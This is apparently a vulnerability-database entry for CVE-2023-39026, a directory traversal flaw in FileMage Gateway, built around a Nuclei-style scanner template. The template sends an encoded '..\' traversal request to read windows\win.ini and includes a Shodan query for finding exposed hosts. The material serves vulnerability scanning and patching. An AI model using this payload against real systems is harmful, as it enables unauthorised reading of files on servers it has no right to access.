CVE-2023-39026: FileMage Gateway - Directory Traversal

日期: 2025-08-01 | 影响软件: FileMage Gateway | POC: 已公开

漏洞描述

Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.

PoC代码[已公开]

id: CVE-2023-39026

info:
  name: FileMage Gateway - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.
  impact: |
    An attacker can view, modify, or delete sensitive files on the system, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in FileMage Gateway.
  reference:
    - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
    - https://securityonline.info/cve-2023-39026-filemage-gateway-directory-traversal-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39026
    - https://www.filemage.io/docs/updates.html#change-log
    - http://packetstormsecurity.com/files/174491/FileMage-Gateway-1.10.9-Local-File-Inclusion.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39026
    cwe-id: CWE-22
    epss-score: 0.86067
    epss-percentile: 0.99355
    cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microsoft
    product: windows
    shodan-query:
      - title:"FileMage"
      - cpe:"cpe:2.3:o:microsoft:windows"
  tags: cve2023,cve,packetstorm,lfi,filemage,microsoft

http:
  - method: GET
    path:
      - "{{BaseURL}}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body,'bit app support','extensions','fonts')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022071ce83d004ea9b51757534049880d93a54ae96a1a776208c8258a7114fece32f022100e57338738c77c9367ac2a107af4f3bab45edad52200debfb82b570935c3fe16f:922c64590222798bb761d5b6d8e72950